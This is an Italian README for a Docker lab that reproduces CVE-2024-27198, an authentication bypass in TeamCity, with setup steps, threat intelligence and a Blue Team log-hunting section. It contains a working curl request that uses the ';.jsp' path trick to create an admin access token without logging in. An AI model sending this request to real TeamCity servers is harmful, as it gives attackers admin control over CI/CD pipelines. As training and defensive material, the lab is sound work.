CVE-2024-27198_Lab

Indice

• Informazioni sul progetto
  • Dettagli della CVE
  • Realizzato con
• Threat Intelligence e OSINT
  • Impatto reale e sfruttamento
  • Perché questa CVE è critica
• Per iniziare
  • Prerequisiti
  • Installazione e configurazione del laboratorio
• Passaggi per riprodurre e sfruttare
  • Portale di login
  • Testare la vulnerabilità
  • Generare un token per l'utente admin
  • Verificare il token
  • Eliminare il token
  • Blue Team: caccia agli IoC nei log
  • Arrestare i container
• Mitigazione e rilevamento
  • Analisi tecnica (CWE-288)
  • Indicatori di compromissione (IoC)
  • Rilevamento nei log (regola Sigma)
  • Demo live del SIEM (Blue Team)
  • Remediation
  • Rilevamento di rete (regola Suricata / Snort)
  • Testare la versione corretta
• Link

Informazioni sul progetto

TeamCity fornisce una pagina riservata agli amministratori per la gestione dei token che non è protetta dall'autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare l'ID di un utente esistente.

Questo repository contiene un laboratorio Dockerizzato completo e riproducibile con ambienti TeamCity sia vulnerabili (:8111) che corretti (:8112), script di sfruttamento automatizzati (exploit.py), procedure guidate di caccia ai log per il Blue Team e un simulatore live di eventi SIEM (siem_simulator.py).

Dettagli della CVE

• ID CVE: CVE-2024-27198
• CWE: CWE-288 (Authentication Bypass Using an Alternate Path or Channel)
• CNA: JetBrains s.r.o.
• Punteggio base: 9.8 CRITICAL
• Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N — Network
  • AC:L — Low
  • PR:N — None
  • UI:N — None
  • S:U — Unchanged
  • C:H — High
  • I:H — High
  • A:H — High

Realizzato con

• 
• 
• 
• 
• 

Threat Intelligence e OSINT

Impatto reale e sfruttamento

• Catalogo CISA KEV: aggiunta il 7 marzo 2024, a conferma dello sfruttamento attivo in the wild.
• Attori delle minacce: sfruttata da molteplici gruppi ransomware e APT, in particolare dal gruppo ransomware BianLian e dalla variante ransomware Jasmin. Gli attaccanti hanno utilizzato questo bypass per creare account amministratore fraudolenti, distribuire plugin malevoli ed eseguire codice arbitrario (RCE) per muoversi lateralmente all'interno delle reti delle vittime.
• Profilo dei bersagli: le pipeline CI/CD sono obiettivi di alto valore (attacchi alla supply chain). Compromettere TeamCity consente agli attaccanti di iniettare codice malevolo nelle build software, rubare il codice sorgente ed estrarre segreti di deployment (chiavi AWS, certificati).

Perché questa CVE è critica

La vulnerabilità risiede nel meccanismo di routing della REST API. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli attaccanti possono indurre il server web di TeamCity a instradare la richiesta verso un endpoint autenticato aggirando i filtri di sicurezza. Ciò non richiede alcuna conoscenza o accesso preliminare, rendendola una pura 9.8 CVSS.

Per iniziare

Per ottenere una copia locale di questo lab e avviarla, segui questi semplici passaggi di esempio.

Prerequisiti

• Docker e Docker Compose
• Python 3.10+
• curl

Installazione e configurazione del lab

1. Clona il repository

   git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
   

2. Cambia directory

   cd CVE-2024-27198_Lab
   

3. Avvia i container

   docker compose up -d
   

• Accedi all'istanza TeamCity vulnerabile all'indirizzo: http://localhost:8111
• Accedi all'istanza TeamCity con patch all'indirizzo: http://localhost:8112

Passaggi per riprodurre e sfruttare

Portale di login

Nome utente:

admin

Password:

admin

Verificare la vulnerabilità

Richiesta GET per una risorsa senza autenticazione:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

Entrambi dovrebbero restituire un errore con codice di stato 401.

Genera un token per l'utente admin

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Questo dovrebbe restituire un token come questo (il token è diverso ogni volta):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza corretta non presenta la vulnerabilità.

Verifica del token

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Dovrebbe restituire l'elenco degli utenti.

Eliminare il token

1. Vai su http://localhost:8111 con l'account admin.
2. Clicca sull'icona del profilo in alto a destra.
3. Vai su Profile -> Access Tokens.
4. Vedrai il token "REDTEAM".
5. Basta cliccare su Delete accanto al token.

Blue Team: caccia agli IoC nei log (il fattore stealth)

Durante la dimostrazione sul laboratorio, puoi mostrare un'importante scoperta del Blue Team: per impostazione predefinita, questa vulnerabilità è incredibilmente stealth!

1. I log di accesso di Tomcat sono disabilitati per impostazione predefinita nell'immagine Docker di TeamCity, quindi le richieste HTTP ;.jsp non vengono registrate.
2. Il log di audit di TeamCity non registra la creazione di token tramite l'API REST.

Quindi come lo individuiamo? Quando l'attaccante ripulisce le proprie tracce! Quando l'attaccante elimina il proprio token malevolo per nascondersi, TeamCity registra quell'azione.

Individua l'attaccante che copre le proprie tracce nei log di audit:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).

Arresta i container

docker compose down